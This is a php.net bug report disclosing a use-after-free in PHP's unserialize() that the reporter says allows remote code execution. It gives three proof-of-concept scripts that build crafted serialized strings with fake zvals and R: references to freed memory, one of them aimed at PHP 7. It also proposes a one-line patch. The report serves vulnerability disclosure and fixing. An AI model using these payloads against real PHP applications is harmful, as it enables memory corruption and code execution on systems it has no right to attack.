|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-09-06 14:14 UTC] taoguangchen at icloud dot com
Description:
------------
var_unserializer.c
```
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
return 0;
}
...
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
...
if (var_hash && cursor[0] != 'R') {
var_push(var_hash, rval);
}
...
return 0;
```
var.c
```
PHP_FUNCTION(unserialize)
{
...
p = (const unsigned char*) buf;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_dtor(return_value);
if (!EG(exception)) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
}
RETURN_FALSE;
```
it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
<?php
class obj1 implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
class obj2 {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = '{'; /* any invalid serialized string */
$exploit = 'a:5:{i:0;i:1;i:1;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:2;O:4:"obj2":1:{s:4:"ryat";R:3;}i:3;s:'.strlen($fakezval).':"'.$fakezval.'";i:4;R:4;}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
fix
```
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
+ var_push_dtor(&var_hash, &return_value);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
this bug can be still triggered without the crafted __wakeup() method var_unserializer.c ``` static inline int finish_nested_data(UNSERIALIZE_PARAMETER) { if (*((*p)++) == '}') return 1; ... return 0; } static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce) { ... if (ce->unserialize == NULL) { zend_error(E_WARNING, "Class %s has no unserializer", ce->name); object_init_ex(*rval, ce); } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) { return 0; } (*p) += datalen; return finish_nested_data(UNSERIALIZE_PASSTHRU); ``` var.c ``` PHP_FUNCTION(unserialize) { ... p = (const unsigned char*) buf; PHP_VAR_UNSERIALIZE_INIT(var_hash); if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) { PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_dtor(return_value); if (!EG(exception)) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); } RETURN_FALSE; ``` so an attacker can freed a ZVAL from the memory via zval_dtor(), it has been demonstrated before in GMP deserialization exploit, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely. PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'C:3:"obj":3:{ryat'; $exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ```The similar bug also effect latest of php7, and result in code execution. PoC: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:1:{i:0;O:8:"stdClass":0:{}'; $inner = 'x:i:1;a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:7;};m:a:0:{'; $exploit = 'a:1:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}}'; unserialize($exploit); ```I think this simple solution is still valid in php 7 series. var.c: ``` if (!php_var_unserialize_ex(return_value, &p, p + buf_len, &var_hash, class_hash)) { + var_push_dtor(&var_hash, return_value); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); ```